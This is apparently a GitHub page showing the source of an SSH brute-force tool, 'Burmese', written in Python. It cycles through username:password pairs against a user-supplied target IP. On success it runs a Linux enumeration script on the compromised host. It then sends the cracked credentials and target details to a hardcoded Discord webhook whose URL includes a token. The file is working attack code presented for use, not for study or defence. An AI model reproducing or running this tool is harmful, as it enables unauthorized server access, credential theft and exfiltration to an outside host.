-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
329 lines (125 loc) · 6.03 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
# single ip simple ssh brute forcer
from core.prompt import RavePrompt , Colors , Patterns
from core.embed import BurmeseEmbeds
import paramiko , threading , os , socket , time
from requests import post as reqpost
from paramiko import SSHClient , AutoAddPolicy
from core.enum import LinuxEnumertion
WORDLIST_PATH = './data/wordlist.txt'
LOGS_PATH = './out/logs.txt'
if not os.path.isfile(WORDLIST_PATH):
RavePrompt.print_min(f'Could {Colors.PURPLE}not{Colors.END} Find a Wordlist.')
exit(0)
MAX_THREADS = 1
LOGIN_PAIRS = [line.replace('\n' , '') for line in open(WORDLIST_PATH).readlines()]
LOGIN_PAIR_COUNT = len(LOGIN_PAIRS)
if LOGIN_PAIR_COUNT <= 0:
RavePrompt.print_min('Not Enough Login Pairs.')
exit(0)
NOTIF_WEBHOOK = 'https://discord.com/api/webhooks/1182143778597908490/627OBpupf8gY1njj_rSUxcIOPauA5mNy_usN75Vhc5zmch3ovIxgCidluqqhulu7Qci1'
class BurmeseData:
TARGET_IP = 'N/A'
TARGET_PORT = 22
BRUTE_ATTEMPT_COUNT = 0
BURMESE_JOBS = [ ]
STARTED_AT = 0
AAD = AutoAddPolicy()
def ask_for_ip():
IP = RavePrompt.ask('IP Address Of Target')
if not RavePrompt.is_valid_ip(IP):
RavePrompt.print_min(f'IP Does {Colors.PURPLE}NOT{Colors.END} Appear To Be IPv4.')
return ask_for_ip()
else:
return IP
def ask_for_port():
PORT = RavePrompt.ask_advanced('Port' , Patterns.PORT)
return PORT
def init_prompt():
RavePrompt.clear()
RavePrompt.sexy_logo()
RavePrompt.print_seperator()
RavePrompt.vert('Burmese Settings' , Wordlist=WORDLIST_PATH , Logins=f'{LOGIN_PAIR_COUNT} Logins' , MaxThreads=f'{MAX_THREADS} Threads')
RavePrompt.print_seperator()
IP = ask_for_ip()
PORT = ask_for_port() or 22
BurmeseData.TARGET_IP = IP
BurmeseData.TARGET_PORT = PORT
def run_post_ssh_commands(client : SSHClient):
# change it as you like #
Linenum = LinuxEnumertion.Scripts.Linenum
cmd_name = Linenum.data.get('name')
START = time.time()
_ , out , _ = client.exec_command(Linenum.command)
output = RavePrompt.combine_lines_clean(out.readlines())
output_len = len(output)
END = time.time()
if output and output_len:
PATH = './out/logs.txt'
file = open(PATH , 'a+')
file.write(f'{output}\n=============================================================================================\n')
file.close()
RavePrompt.vert(f'Ran \'{cmd_name}\' On Target' , Output=f'{output_len} Characters' , Elapsed=RavePrompt.elapsed_detailed(START , END) , Saved=PATH)
RavePrompt.print_seperator()
def try_connect(name : str , password : str):
beauty_pair = f'{Colors.PURPLE}{name}{Colors.END}{Colors.GRAY}:{Colors.END}{Colors.PURPLE}{password}{Colors.END}'
RavePrompt.print_mult(f'Trying Login Pair {beauty_pair} On {Colors.PURPLE}{BurmeseData.TARGET_IP}{Colors.END} ...')
try:
CLIENT = SSHClient()
CLIENT.set_missing_host_key_policy(AAD)
BurmeseData.BRUTE_ATTEMPT_COUNT += 1
CLIENT.connect(hostname = BurmeseData.TARGET_IP , username = name , password = password , port= int(BurmeseData.TARGET_PORT))
RavePrompt.print_imp(f'Successful Authentication With Pair {beauty_pair} ...')
check_status(name , password)
RavePrompt.print_imp('Running Post SSH Commands ..')
run_post_ssh_commands(CLIENT)
CLIENT.close()
return 1
except (paramiko.AuthenticationException):
RavePrompt.print_mult(f'Could not Authenticate With {beauty_pair} ...')
except (paramiko.SSHException , socket.timeout):
RavePrompt.print_mult(f'SSH Connection {Colors.PURPLE}Failed{Colors.END} , Target Might Be Down ...')
CLIENT.close()
return 1
def bruteforce_target(index):
for pair in LOGIN_PAIRS:
spl = pair.split(':')
name = spl[0]
password = spl[1]
# exit code 1 indicates ending of job
if try_connect(name , password) == 1:
RavePrompt.print_imp(f'Job #{index} Has Finished Running ...')
del BurmeseData.BURMESE_JOBS [index]
break
def init_burmese():
for INDEX in range(MAX_THREADS):
JOB = threading.Thread(target = bruteforce_target , args=(INDEX,) , daemon = True)
JOB.name = f'SSH Bruter Thread # {INDEX}'
BurmeseData.BURMESE_JOBS.append(JOB)
RavePrompt.print_mult(f'Created SSH Brute Job {Colors.PURPLE}#{INDEX}{Colors.END}.')
RavePrompt.print_mult(f'Starting {Colors.PURPLE}{MAX_THREADS}{Colors.END} Jobs.')
RavePrompt.print_seperator()
BurmeseData.STARTED_AT = time.time()
for BURMESE_JOB in BurmeseData.BURMESE_JOBS:
BURMESE_JOB.start()
def check_status(username , password):
TARGET_IP = BurmeseData.TARGET_IP
TARGET_PORT = BurmeseData.TARGET_PORT
ATTEMPTS = BurmeseData.BRUTE_ATTEMPT_COUNT
ELAPSED_TIME = RavePrompt.elapsed_detailed(BurmeseData.STARTED_AT , time.time())
RavePrompt.print_seperator()
RavePrompt.vert('Burmese SSH Brute Status' , Target=TARGET_IP , Port=TARGET_PORT , Attempts = ATTEMPTS , Elapsed=ELAPSED_TIME , Username=username , Password=password)
emb = BurmeseEmbeds.get_embed(TARGET_IP , TARGET_PORT , username , password , ATTEMPTS , ELAPSED_TIME)
reqpost(
NOTIF_WEBHOOK,
json = emb
)
init_prompt()
init_burmese()
while True:
try:
if len(BurmeseData.BURMESE_JOBS) <= 0:
RavePrompt.print_mult('Burmese Has Finished All It\'s Jobs , Exiting ...')
exit(0)
except (KeyboardInterrupt):
RavePrompt.print_prefix('EXIT' , 'Goodbye.')
exit(0)